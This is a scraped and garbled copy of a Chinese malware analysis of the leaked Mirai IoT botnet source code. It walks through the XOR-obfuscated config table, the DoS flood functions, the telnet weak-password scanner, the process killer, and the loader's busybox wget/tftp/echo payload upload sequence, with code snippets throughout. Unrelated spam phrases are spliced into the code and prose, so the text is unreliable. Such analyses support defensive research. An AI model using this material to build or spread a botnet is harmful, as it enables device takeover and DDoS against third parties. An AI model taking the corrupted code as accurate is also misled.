移动硬盘的英文盘翻译盘英语怎么说-boon
2023年3月30日发(作者:安徽会计)
mirai源代码c语⾔,Mirai源码分析
Author:xd0ol1(知道创宇404实验室)
1.背景概述
最近的德国断⽹事件让Mirai恶意程序再次跃⼊公众的视线,相对⽽⾔,⽬前的IoT领域对于恶意程序还是⼀⽚蓝海,因此吸引了越来越多的
⼈开始涉⾜这趟征程。⽽作为安全研究者,我们有必要对此提⾼重视,本⽂将从另⼀⾓度,即以Mirai泄露的源码为例来⼩窥其冰⼭⼀⾓。
2.源码分析
loader/src将payload上传到受感染的设备
mirai/bot在受感染设备上运⾏的恶意payload
mirai/cnc恶意者进⾏控制和管理的接⼝
mirai/tools提供的⼀些⼯具
其中,cnc部分是Go语⾔编写的,余下都由C语澎的拼音 ⾔编码完成。我们知道payload是在受害者设备上直接运⾏的那部分恶意代码,⽽loader的
作⽤就是将其drop到这些设备上,⽐如宏病毒、js下载者等都属于loader的范畴。对恶意开发者来说,最关键的也就是设计好loader和
payload的功能,毕竟这与恶意操作能否成功息息相关,同时它们也是和受害者直接接触的那部分代码,因此这⾥的分析重点将集中在这两
部分代码上,剩下的cnc和tools只做个概要分析。在详细分析之前,我们先给出Mirai对应的⽹络拓扑关系图,可以有个直观的认识:
2.1payload分析
这部分代码的主要功能是发起DoS攻击以及扫描其它可能受感染的设备,代码在mirai/bot⽬录,可简单划分为如下⼏个模块:
我们⾸先看⼀下public模块,主要是⼀些常⽤的公共函数,供其它⼏个模块调⽤:
/******checksum.c******
*构造往开头的成语 数据包原始套接字时会⽤到校验和的计算
*/
//计算数据包ip头中的校验和
uint16_tchecksum_generic(uint16_t*,uint32_t);
//计算数据包tcp头中的校验和
uint16_tchecksum_tcpudp(structiphdr*,void*,uint16_t,int);
/******rand.c******/
//初始化随机数因⼦
voidrand_init(void);
//⽣成⼀个随机数
uint32_trand_next(void);
//⽣成特定长度的随机字符串
voidrand_str(char*,int);
//⽣成包含数字字母的特定长度的随机字符串
voidrand_alphastr(uint8_t*,int);
/******resolv.c******
*处理域名的解析,参考DNS报⽂格式
*/
//域名按字符\'.\'进⾏划分,并保存各段长度,构造DNS请求包时会⽤到
voidresolv_domain_to_hostname(char*,char*);
//处理DNS响应包中的解析结果,可参照DNS数据包结构
staticvoidresolv_skip_name(uint8_t*reader,uint8_t*buffer,int*count);
//构造DNS请求包向8.8.8.8进⾏域名解析,并获取响应包中的IP
structresolv_entries*resolv_lookup(char*);
//释放⽤来保存域名解析结果的空间
voidresolv_entries_free(structresolv_entries*);
/******table.c******
*处理硬编码在table中的数据
*/
//初始化table中的成员
voidtable_init(void);
//解密table中对应id的成员
voidtable_unlock_val(uint8_tid);
//加密table中对应id的成员
voidtable_lock_val(uint8_tid);
//取出table中对应id的成员
char*table_retrieve_val(intid,int*len);
//向table中添加成员
staticvoidadd_entry(uint8_tid,char*buf,intbuf_len);
//和密钥key进⾏异或操作,即table中数据的加密或解密
staticvoidtoggle_obf(uint8_tid);
/******util.c******/
......
//在内存中查找特定的字节序
intutil_memsearch(char*buf,intbuf_len,char*mem,intmem_len);
//在具体字符串中查找特定的⼦字符串,忽略⼤⼩写
intutil_stristr(char*haystack,inthaystack_len,char*str);
//获取本地ip信息
ipv4_tutil_local_addr(void);
//读取描述符fd对应⽂件中的字符串
char*util_fdgets(char*buffer,intbuffer_size,intfd);
......
其中,⽤的⽐较多的有rand.c中的rand_next函数,即⽣成⼀个整型随机数,以及table.c中的table_unlock_val、table_retrieve_val和
table_lock_val函数组合,即获取table中的数据,程序中⽤到的⼀些信息是硬编码后保存到table中的,如果获取就要⽤到这个组合,其中
涉及到简单的异或加密和解密,这⾥举个例⼦:
//保存到table中的硬编码信息
add_entry(TABLE_EXEC_SUCCESS,\"x4Ex4Bx51x56x47x4Cx4Bx4Cx45x02x56x57x4Cx12x22\",15);
//调⽤table_unlock_val解密
//初始化key,其中table_key=0xdeadbeef;
uint8_tk1=table_key&0xff,//0xef
k2=(table_key>>8)&0xff,//0xbe
k3=(table_key>>16)&0xff,//0xad
k4=(table_key>>24)&0xff;//0xde
//循环异或
for(i=0;i
{
val->val[i]^=k1;
val->val[i]^=k2;
val->val[i]^=k3;
val->val[i]^=k4;
}
/*解密后的信息:listeningtun0
*这时调⽤table_retrieve_val就可以获取到所需信息
*最后调⽤table_lock_val加密,同table_unlock_val调⽤,利⽤的是两次异或后结果不变的性质
*不过考虑到异或的交换律和结合律,上述操作实际上也就相当于各字节异或⼀次0x22
*/
接着来看attack模块,此模块的作⽤就是解析下发的攻击命令并发动DoS攻击,attack.c中主要就是下述两个函数:
/******attack.c******/
//按照事先约定的格式解析下发的攻击命令,即取出攻击参数
voidattack_parse(char*buf,intlen);
//调⽤相应的DoS攻击函数
voidattack_start(intduration,ATTACK_VECTORvector,uint8_ttargs_len,structattack_target*targs,
uint8_topts_len,structattack_option*opts)
{
......
elseif(pid2==0)
{
//⽗进程DoS持续时间到了后由⼦进程负责kill掉
sleep(duration);
kill(getppid(),9);
exit(0);
}
......
if(methods[i]->vector==vector)
{
#ifdefDEBUG
printf(\"[\");
#endif
//C语⾔函数指针实现的C++多态
methods[i]->func(targs_len,targs,opts_len,opts);
break;
}
}
......
}
}
⽽attack_app.c、attack_gre.c、attack_tcp.c和attack_udp.c中实现了具体的DoS攻击函数:
/*1)StraightupUDPflood2)ValveSourceEnginequeryflood
*3)DNSwatertorture4)PlainUDPfloodoptimizedforspeed
*/
voidattack_udp_generic(uint8_t,structattack_target*,uint8_t,structattack_option*);
voidattack_udp_vse(uint8_t,structattack_target*,uint8_t,structattack_option*);
voidattack_udp_dns(uint8_t,structattack_target*,uint8_t,structattack_option*);
voidattack_udp_plain(uint8_t,structattack_target*,uint8_t,structattack_option*);
/*1)SYNfloodwithoptions2)ACKflood
*3)ACKfloodtobypassmitigationdevices
*中秋节佳句短语 /
voidattack_tcp_syn(uint8_t,structattack_target*,uint8_t,structattack_option*);
voidattack_tcp_ack(uint8_t,structattack_target*,uint8_t,structattack_option*);
voidattack_tcp_stomp(uint8_t,structattack_target*,uint8_t,structattack_option*);
//1)GREIPflood2)GREEthernetflood
voidattack_gre_ip(uint8_t,structattack_target*,uint8_t,structattack_option*);
voidattack_gre_eth(uint8_t,structattack_target*,uint8_t,structattack_option*);
//HTTPlayer7flood
voidattack_app_http(uint8_t,structattack_target*,uint8_t,structattack_option*);
可以看到这⾥设计的函数接⼝是统⼀的,因⽽可以定义如下函数指针,通过这种⽅式就可以实现和C++多态同样的功能,⽅便进⾏扩展:
typedefvoid(*ATTACK_FUNC)(uint8_t,structattack_target*,uint8_t,structattack_option*);
实际上attack这个模块是可以完整剥离出来的,只需在attack_parse或attack_start函数上加⼀层封装就可以了,要加⼊其它DoS攻击函数
只需符合ATTACK_FUNC的接⼝即可。
再来看scanner模块,其功能就是扫描其它可能受感染的设备,如果能满⾜telnet弱⼝令登录则将结果进⾏上报,恶意者主要借此扩张僵⼫
⽹络,scanner.c中的主要函数如下:
/******scanner.c******/
//将接收到的空字符替换为\'A\'
intrecv_strip_null(intsock,void*buf,intlen,intflags);
//⾸先⽣成随机ip,⽽后随机选择字典中的⽤户名密码组合进⾏telnet登录测试
voidscanner_init(void);
//如果扫描的随机ip有回应,则建⽴正式连接
staticvoidsetup_connection(structscanner_connection*conn);
//获取随机ip地址,特殊ip段除外
staticipv4_tget_random_ip(void);
//向auth_table中添加字典数据
staticvoidadd_auth_entry(char*enc_user,char*enc_pass,uint16_tweight);
//随机返回⼀条auth_table中的记录
staticstructscanner_auth*random_auth_entry(void);
//上报成功的扫描结果
staticvoidreport_working(ipv4_tdaddr,uint16_tdport,structscanner_auth*auth);
//对字典中的字符串进⾏异或解密
staticchar*deobf(char*str,int*len);
为了提⾼扫描效率,程序对随机⽣成的IP会先通过构造的原始套接字进⾏试探性连接,如果有回应才进⾏后续的telnet登录测试,⽽这个交
互过程和后⾯的loader与感染节点建⽴telnet交互后上传恶意payload⽂件有重复,因此这⾥就不展开了,可以参考后⾯的分析。此外,弱
⼝令字典同样采⽤了硬编码的⽅式,解密也是采⽤的异或操作,这和前⾯table.c中的情形是相似的,也不赘述了。
最后我们来看下kill模块,此模块主要有两个作⽤,其⼀是关闭特定的端⼝并占⽤,另⼀是删除特定⽂件并kill对应进程,简单来说就是排除
异⼰。我们看下其中kill掉22端⼝的代码:
/******kill.c******/
......
//查找特定端⼝对应的的进程并将其kill掉
if(killer_kill_by_port(htons(22)))
{
#ifdefDEBUG
printf(\"[killer]Killedtcp/22(SSH)n\");
#endif
}
//通过bind进⾏端⼝占⽤
tmp_bind__port=htons(22);
if((tmp_bind_fd=socket(AF_INET,SOCK_STREAM,0))!=-1)
{
bind(tmp_bind_fd,(structsockaddr*)&tmp_bind_addr,sizeof(structsockaddr_in));
listen(tmp_bind_fd,1);
}
......
另外两处kill掉23端⼝和80端⼝的代码与此类似,在killer_kill_by_port函数中实现了通过端⼝来查找进程的功能,其中:
/proc/net/tcp记录了所有tcp连接的情况
/proc/pid/exe包含了正在进程中运⾏的程序链接
/proc/pid/fd包含了进程打开的每⼀个⽂件的链接
/proc/pid/status包含了进程的状态信息
此外,程序将通过readdir函数遍历/proc下的进程⽂件夹来查找特定⽂件,⽽readlink函数可以获取进程所对应程序的真实路径,这⾥会查
找与之同类的恶意程序anime,如果找到就删除⽂件并kill掉进程:
//Ifpathcontains\".anime\"kill.
if(util_stristr(realpath,rp_len-1,table_retrieve_v沧海一声笑 al(TABLE_KILLER_ANIME,NULL))!=-1)
{
unlink(realpath);
kill(pid,9);
}
同时,如果/proc/$pid/exe⽂件匹配了下述字段,对应进程也要被kill掉:
REPORT%s:%s
HTTPFLOOD
LOLNOGTFO
x58x4Dx4Ex4Ex43x50x46x22
zollard
2.2loader分析
这部分代码的功能就是向感染设备上传(wget、tftp、echo⽅式)对应架构的payload⽂件,loader/src的⽬录结构如下:
headers/头⽂件⽬录
binary.c将bins⽬录下的⽂件读取到内存中,以echo⽅式上传payload⽂件时⽤到
connection.c判断loader和感染设备telnet交互过程中的状态信息
r主函数
server.c向感染设备发起telnet交互,上传payload⽂件
telnet_info.c解析约定格式的telnet信息
util.c⼀些常⽤的公共函数
从功能逻辑上看,还需要mirai/tools/的配合来监听上报的telnet信息,因为main函数中只能从stdin读取对应信息:
//Readfromstdin
while(TRUE)
{
charstrbuf[1024];
if(fgets(strbuf,sizeof(strbuf),stdin)==NULL)
break;
......
memset(&info,0,sizeof(扣人心弦的拼音 structtelnet_info));
//解析telnet信息
if(telnet_info_parse(strbuf,&info)==NULL)
接下来我们对这块内容进⾏详细的分析,同样先看下那些公共函数,也就是util.c⽂件,如下:
/******util.c******/
//输出地址addr处开始的len个字节的内存数据
voidhexDump(char*desc,void*addr,intlen);
//bind可⽤地址并设置socket为⾮阻塞模式
intutil_socket_and_bind(structserver*srv);
//查找字节序列中是否存在特定的⼦字节序列
intutil_memsearch(char*buf,intbuf_len,char*mem,intmem_len);
//发送socket数据包
BOOLutil_sockprintf(intfd,constchar*fmt,...);
//去掉字符串⾸尾的空格字符
char*util_trim(char*str);
其中⽤的最经常的是util_sockprintf函数,简单理解就是send发包,但每次的参数个数是可变的。
继续,虽然loader的主要功能在server.c中,但分析它之前我们需要看下余
下的3个c⽂件,因为很多调⽤的功能是在其中实现的,⾸先是binary.c⽂件中的函数:
/******binary.c******/
//bin_list初始化,读取所有bins/dlr.*⽂件
BOOLbinary_init(void)
{
......
//匹配所有bins/dlr.*⽂件,结果存放pglob
if(glob(\"bins/dlr.*\",GLOB_ERR,NULL,&pglob)!=0)
......
}
//按照不同体系架构获取相应的⼆进制⽂件
structbinary*binary_get_by_arch(char*arch);
//将指定的⼆进制⽂件读取到内存中
staticBOOLload(structbinary*bin,char*fname);
即将编译好的不同体系架构的⼆进制⽂件读取到内存中,当loader和感染设备建⽴telnet连接后,如果不得不通过echo命令来上传
payload,那么这些数据就会⽤到了。
接着来看telnet_info.c⽂件中的函数,如下:
/******telnet_info.c******/
//初始化telnet_info结构的变量
structtelnet_info*telnet_info_new(char*user,char*pass,char*arch,
ipv4_taddr,port_tport,structtelnet_info*info);
//解析节点的telnet信息,提取相关参数
structtelnet_info*telnet_info_parse(char*str,structtelnet_info*out);
即解析telnet信息格式并存到telnet_info结构体中,通过获取这些信息就可以和受害者设备建⽴telnet连接了。
然后是connection.c⽂件中的函数,主要⽤来判断telnet交互中的状态信息,如下,只列出部分:
/******connection.c******/
//判断telnet连接是否顺利建⽴,若成功则发送回包
intconnection_consume_iacs(structconnection*conn);
//判断是否收到login提⽰信息
intconnection_consume_login_prompt(structconnection*conn);
//判断是否收到password提⽰信息
intconnection_consume_password_prompt(structconnection*conn);
//根据ps命令返回结果kill掉某些特殊进程
intconnection_consume_psoutput(structconnection*conn);
//判断系统的体系架构,即解析ELF⽂件头
intconnection_consume_arc篱落疏疏一径深全诗 h(structconnection*conn);
//判断采⽤哪种⽅式上传payload(wget、tftp、echo)
intconnection_consume_upload_methods(structconnection*conn);
//判断drop的payload是否成功运⾏
intconnection_verify_payload(structconnection*conn);
//对应的telnet连接状态为枚举类型
enum{
TELNET_CLOSED,//0
TELNET_CONNECTING,//1
TELNET_READ_IACS,//2
TELNET_USER_PROMPT,//3
TELNET_PASS_PROMPT,//4
......
TELNET_RUN_BINARY,//18
TELNET_CLEANUP//19
}state_telnet;
这⾥要提⼀下程序在发包时⽤到的⼀个技巧,⽐如下⾯的代码:
util_sockprintf(conn->fd,\"/bin/busyboxwget;/bin/busyboxtftp;\"TOKEN_QUERY\"rn\");
//⽤在其它命令后作为⼀种标记,可判断之前的命令是否执⾏
#defineTOKEN_QUERY\"/bin/busyboxECCHI\"
//如果回包中有如下提⽰,则之前的命令执⾏了
#defineTOKEN_RES古诗三百首 三年级 PONSE\"ECCHI:appletnotfound\"
好了,⾄此我们已经知道如何将不同架构的⼆进制⽂件读到内存中、如何获取待感染设备的telnet信息以及如何判断telnet交互过程中的状
态信息,那么下⾯就可以开始server.c⽂件的分析了,这⾥列出⼏个主要函数:
/******server.c******/
//判断能否处理新的感染节点
voidserver_queue_telnet(structserver*srv,structtelnet_info*info);
//处理新的感染节点
voidserver_telnet_probe(structserver*srv,structtelnet_info*info);
//事件处理线程
staticvoid*worker(void*arg)
{
stru横眉冷对 ctserver_worker*wrker=(structserver_worker*)arg;
structepoll_eventevents[128];
bind_core(wrker->thread_id);
while(TRUE)
{
//等待事件的产⽣
inti,n=epoll_wait(wrker->efd,events,127,-1);
if(n==-1)
perror(\"epoll_wait\");
for(i=0;i
handle_event(wrker,&events[i]);
}
}
//事件处理
staticvoidhandle_event(structserver_worker*wrker,structepoll_event*ev);
由于loader可能需要处理很多的感染节点信息,因⽽设计成了多线程⽅式。对于每⼀个建⽴的telnet连接将采⽤epoll机制来做事件触发,相
⽐select机制会更有优势,所以当loader通过获取的telnet信息连接感染设备后就开始等待相应事件,这其实是通过编写代码来模拟⼀个简
单的渗透过程,即先发送请求包⽽后根据返回包判断并确定后续的操作,主要包括以下⼏步,对应的代码在handle_event函数中:
1)通过待感染节点的telnet⽤户名和密码成功登录;
2)执⾏/bin/busyboxps,根据返回结果kill掉某些特殊进程;
3)执⾏/bin/busyboxcat/proc/mounts,根据返回结果切换到可写⽬录;
4)执⾏/bin/busyboxcat/bin/echo,通过返回结果解析/bin/echo这个ELF⽂件的头部来判断体系架构,即其中的e_machine字段;
5)选择⼀种⽅式上传对应的payload⽂件,当然⾸先需要进⾏判断:
//发请求包
util_sockprintf(conn->fd,\"/bin/busyboxwget;/bin/busyboxtftp;\"TOKEN_QUERY\"rn\");
//在返回包中进⾏判断
if(util_memsearch(conn->rdbuf,offset,\"wget:appletnotfound\",22)==-1)
conn->_method=UPLOAD_WGET;
elseif(util_memsearch(conn->rdbuf,offset,\"tftp:appletnotfound\",22)==-1)
conn->_method=UPLOAD_TFTP;
else
conn->_method=UPLOAD_ECHO;
oader同时⽀持wget、tftp、echo的⽅式来上传payload,其中wget和tftp服务器的相关信息在创建server时需要给出:
structserver*server_create(uint8_tthreads,uint8_taddr_len,ipv4_t*addrs,uint32_tmax_open,
char*wghip,port_twghp,char*thip);//wget服务器的ip和port,tftp服务器的ip
6)执⾏payload并清理。
通过上述这⼏个简单的步骤,loader就能成功实现对受害者节点的感染了。
2.3cnc与tools简单分析
cnc⽬录主要提供⽤户管理的接⼝、处理攻击请求并下发攻击命令:
处理管理员登录、创建新⽤户以及初始化攻击
向感染的bot节点发送命令
处理⽤户的攻击请求
管理感染的bot节点
数据库管理,包括⽤户登录验证、新建⽤户、处理⽩名单、验证⽤户的攻击请求
程序⼊⼝,开启23端⼝和101端⼝的监听
⽽tools⽬录主要提供了⼀些⼯具,相应的功能如下:
enc.c对数据进⾏异或加密处理
nogdb.c通过修改elf⽂件头实现反gdb调试
监听payload(bot)扫描后上报的telnet信息,并将结果交由loader处理
single_load.c另⼀个loader实现
wget.c实现了wget⽂件下载
3.后记
总体来看Mirai源码代码量不⼤⽽且编码风格⽐较清晰,理解起来并不难。但是有些地⽅逻辑上还存在瑕疵,例如:
//***loader/src/util.c***查找字节序列中是否存在特定的⼦字节序列
//逻辑不对,util_memsearch(\"aabc\",4,\"abc\",3)就不满⾜
intutil_memsearch(char*buf,intbuf_len,char*mem,intmem_len);
但作为IoT下的恶意程序源码还是很值得参考的,特别是随着最近新变种的出现。可想⽽知变种会加⼊更多的反调试⼿段来阻碍分析,⽽且
交互的数据包会更多的采⽤加密处理,这点还是很容易的,⽐如在原先异或的基础上加个查表操作,同时对于不同漏洞的利⽤也会更加的模
块化。正因如此,研究其最初的源码是⼗分有必要的。
4.参考链接
更多推荐
attack是什么意思ack的用法读音典
发布评论